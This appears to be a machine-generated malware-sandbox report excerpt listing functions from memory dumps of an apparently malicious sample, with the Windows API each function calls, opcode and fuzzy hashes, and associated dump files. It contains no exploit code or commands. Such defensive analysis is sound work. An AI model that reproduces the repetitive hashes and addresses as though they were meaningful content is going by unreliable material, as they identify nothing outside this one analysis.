Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 4d6fa7e11d98c383dd29fcf2f6f229b7e7e86f6a6fb115e774231999387a8a5a
Instruction ID: 9d96dd6a8f2a586656946df0fd56b39073a752142c9dd181a5758b79f8a73053
Opcode Fuzzy Hash: 4d6fa7e11d98c383dd29fcf2f6f229b7e7e86f6a6fb115e774231999387a8a5a
Instruction Fuzzy Hash: 0901ADEB17D124BCB102D0523F6CAFA576FE8D27303B0882BF406D5446E2C95E8E5031

Uniqueness

Uniqueness Score: -1.00%

Function 052E0280 Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 28a2b5e33697914c71dcc728bcfaee56891260929ab5733d0a9351c236d15f15
Instruction ID: e1b09253dc6b4d7a69780b393322bfe66bc465b93f0fabdd6d68f89642c2a856
Opcode Fuzzy Hash: 28a2b5e33697914c71dcc728bcfaee56891260929ab5733d0a9351c236d15f15
Instruction Fuzzy Hash: 12F0C4EB16D125BC7152C1823B28EFB576EE4D6B703B1C827F806E5906A2C95F4E6031

Uniqueness

Uniqueness Score: -1.00%

Function 052E030C Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 70f5c7c6f0f77c04556bf822a8a864cf046eee959915ab80371f6652d2eedf16
Instruction ID: 3f37de3bf892cf35f3dbb42127d1719199c5d5859e2ef5edb7738654fd77ea9a
Opcode Fuzzy Hash: 70f5c7c6f0f77c04556bf822a8a864cf046eee959915ab80371f6652d2eedf16
Instruction Fuzzy Hash: 680128AB13D1146EB102C1526A5DEFB67BEDDC6770370C817F442D6042D1D55E8B4031

Uniqueness

Uniqueness Score: -1.00%

Function 052E0279 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: b4621909863a0e5487e0528a60f8710e55290992102001f0e19adbd11a88de59
Instruction ID: 4325af04c7771e4aa02ab7af0dc6a2867ffd5c144391d33f1175f158dd016134
Opcode Fuzzy Hash: b4621909863a0e5487e0528a60f8710e55290992102001f0e19adbd11a88de59
Instruction Fuzzy Hash: 5CF074EB17D125BC7015C1823B2CEFA576ED4D2B703B08827F406D4906A2C95E5E6035

Uniqueness

Uniqueness Score: -1.00%

Function 052E0285 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 88f85babc0f1a43446184761e9c16218bca2029316f948d12e4dc45480ae6a1f
Instruction ID: db950be174544e3185e7e27a28e258eefdf457ad136882c980cd64fa06abf905
Opcode Fuzzy Hash: 88f85babc0f1a43446184761e9c16218bca2029316f948d12e4dc45480ae6a1f
Instruction Fuzzy Hash: D5F0C9EB17D1257C7016C1923B28EFA532ED4D2B703B4C827F446D0806E6C95F5E5031

Uniqueness

Uniqueness Score: -1.00%

Function 00828DEF Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,CF830579,?,00828CD6,00000000,CF830579,00957178,0000000C,00828D92,0081D06D,?), ref: 00828E45

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 56e9705cc34dcdf7231e2145a510b3c93da3d00fc8d50b8839388137ff804d8d
Instruction ID: 4a852761a3e958679330afcaa3acee3b5601749fc657082a845ce5d1178447e4
Opcode Fuzzy Hash: 56e9705cc34dcdf7231e2145a510b3c93da3d00fc8d50b8839388137ff804d8d
Instruction Fuzzy Hash: BE116B3B60613496DE252238784AB7E678DEF92734F3B0A1EF814E71C2DE609CC08195

Uniqueness

Uniqueness Score: -1.00%

Function 052E02AF Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: b28642a62cb2e938efce9755f530346c76ef92b65137ba81616c1778caa2b883
Instruction ID: 321fb46a5b803994c06b68ac246897026fb948d5ba68e619f4b102f0999129ff
Opcode Fuzzy Hash: b28642a62cb2e938efce9755f530346c76ef92b65137ba81616c1778caa2b883
Instruction Fuzzy Hash: 2CF058EB17E024AE7106C1927F29EFB576ED9D1B703B08827F44AE644292D91F8E5031

Uniqueness

Uniqueness Score: -1.00%

Function 052E032C Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 9be9a75fd8231feeb1d52641a87d04c03d8351e6b1013c766eecd93b0ef9fbef
Instruction ID: 4f243d114e8a805ea578c4e400b5cc04a1ddfe8dbca9f8595cc9b517b0958d5e
Opcode Fuzzy Hash: 9be9a75fd8231feeb1d52641a87d04c03d8351e6b1013c766eecd93b0ef9fbef
Instruction Fuzzy Hash: C8F05EEB169264BDB502C1823B19FFB572ED9D2B713748827F40AD844291C90E4F5031

Uniqueness

Uniqueness Score: -1.00%

Function 0082250C Relevance: 1.6, APIs: 1, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(00000000,00000000,0081D0B7,00000000,00000002,00000000,00000000,00000000,00000000,?,00822646,00000000,00000000,0081D0B7,00000002,00000000), ref: 00822548

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: b9073459b28f009822238847db3c08ea46a3193d2fd19e980735c6fe6e1992ea
Instruction ID: 5a1a17bcb1ce007848d8c8f5a51bb7c1f5881d93570bff85ea40d72d15fa7b8f
Opcode Fuzzy Hash: b9073459b28f009822238847db3c08ea46a3193d2fd19e980735c6fe6e1992ea
Instruction Fuzzy Hash: CC0126326101297FCF09CF18EC1589E3B1AEF81320F244209F810DB290E671EDD2CB90

Uniqueness

Uniqueness Score: -1.00%

Function 008C30B0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

SetupDiGetClassDevsA.SETUPAPI(0093A560,00000000,00000000), ref: 008C30F8

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: ClassDevsSetup
String ID:
API String ID: 2330331845-0
Opcode ID: 53d91fec5231bca7402147bbc366b25fc65ad2df1f7199e4f8c7343f932d8a1b
Instruction ID: 0e4c184e01f58f91746d7cb37ddd799853e96004f1d8bec778b6d65d27ee3256
Opcode Fuzzy Hash: 53d91fec5231bca7402147bbc366b25fc65ad2df1f7199e4f8c7343f932d8a1b
Instruction Fuzzy Hash: C111CEB0D047489BE720DF28D946757BBF4EB00B28F10471EE851573C1E7B6AA5887D2

Uniqueness

Uniqueness Score: -1.00%

Function 052E02C4 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 9a4d34f5c34ca25722ce21f3be7e79ea8ab691032e2e483b2ad739a510eddec1
Instruction ID: 6c706b4db5c249f5c2e1ede3a35f42d533bdcc6647c973a8ec66fbbb7150e718
Opcode Fuzzy Hash: 9a4d34f5c34ca25722ce21f3be7e79ea8ab691032e2e483b2ad739a510eddec1
Instruction Fuzzy Hash: 7EF082EB1291647DB106C1923B19EFB572EC5D2B70370C43BF806D5442D5C90F5E5071

Uniqueness

Uniqueness Score: -1.00%

Function 007E32D0 Relevance: 1.5, APIs: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 007E331F

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 6ec4655adc9d8c581670169791bfeb4c3c4bb59604ad5d7a34e59d92e7cd2194
Instruction ID: ad8e2ea1f75825c429cbfcfb45ec6505d7f65dabcb6701e0b35d76ae333128a5
Opcode Fuzzy Hash: 6ec4655adc9d8c581670169791bfeb4c3c4bb59604ad5d7a34e59d92e7cd2194
Instruction Fuzzy Hash: 84F0B472501104DBCB146F69E419CE9B3ECEF283A1B10097AE88DC7612EB2ADA8197D1

Uniqueness

Uniqueness Score: -1.00%

Function 0082A64C Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,000000FF,00000000,?,0082A079,00000001,00000364,00000006,000000FF,00000000,00000000,?,00818A22,00000000,?), ref: 0082A68E

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9084892cf25b293186066fbf11715c2c8be037722446175b14bfd45c5fa7c63e
Instruction ID: c55d5295132f302a64baeaac7c0a6e2dc67d7a243936355b5c76d409cbe02820
Opcode Fuzzy Hash: 9084892cf25b293186066fbf11715c2c8be037722446175b14bfd45c5fa7c63e
Instruction Fuzzy Hash: A5F0B4321156366B9F6A6A66BC05B6A3749FF61760B1D4111AC08EA190DB20D88085E2

Uniqueness

Uniqueness Score: -1.00%

Function 0082B00C Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00831B36,?,00000000,?,?,00831DD7,?,00000007,?,?,008322CB,?,?), ref: 0082B022

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 15f0d645995cf8d13a7b60cc39845d2cf6a9fede6de5ab4f3c9db36cb14005bc
Instruction ID: b848cd398e63f361ae4c930be54563b1636573286a563d327cb1805637ee672b
Opcode Fuzzy Hash: 15f0d645995cf8d13a7b60cc39845d2cf6a9fede6de5ab4f3c9db36cb14005bc
Instruction Fuzzy Hash: 05E0CD31102624A6DF3137A8FC08B9D375AFF50754F280425F618D7150DF3888D082D5

Uniqueness

Uniqueness Score: -1.00%

Function 008266C5 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008266CC

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 5a30a4b0ca73cae887ed59b186c75275599e0b5922cc36ac943d1f3944f09bc7
Instruction ID: 82481e0e868208e7abc9ef990c30cb7681553c914e9af80fbc3f1696c234890c
Opcode Fuzzy Hash: 5a30a4b0ca73cae887ed59b186c75275599e0b5922cc36ac943d1f3944f09bc7
Instruction Fuzzy Hash: 1BE09AB2D0020D9ADF10DFE8D542BEFB7BCFF04310F504066A245E6181EB7497858BA2

Uniqueness

Uniqueness Score: -1.00%

Function 053502C0 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

kZXZ, xrefs: 05350284

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID: kZXZ
API String ID: 0-1435790286
Opcode ID: a3b6fdb64085411b9e1ad8f2b7f363fc8af86ba6976a488df551a78f3f6c7459
Instruction ID: 737a3bed20afb7b63e121a8318fba48031b1fd9e03691b4f0fe286e41fe88d1e
Opcode Fuzzy Hash: a3b6fdb64085411b9e1ad8f2b7f363fc8af86ba6976a488df551a78f3f6c7459
Instruction Fuzzy Hash: E901F7AB18C410AEB21AC591AA5DEF66B2EF1C27303B5941BFC47D4C01A2864B4D9030

Uniqueness

Uniqueness Score: -1.00%

Function 0535026C Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

kZXZ, xrefs: 05350284

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID: kZXZ
API String ID: 0-1435790286
Opcode ID: bcc7112dd25cb9201c2ba34edf8a4769755dc9531c79d4183d17e1dbc0f398cd
Instruction ID: 7d43fde3e2c4dbe4aaf78cffb9b6c7ee6b6ce48e52d0f9127f08d26f54d1bd41
Opcode Fuzzy Hash: bcc7112dd25cb9201c2ba34edf8a4769755dc9531c79d4183d17e1dbc0f398cd
Instruction Fuzzy Hash: 34F0A9AB24C000AEA609C6916A6DDB67F6EF5C6730375946BF843D4C01E256874D5171

Uniqueness

Uniqueness Score: -1.00%

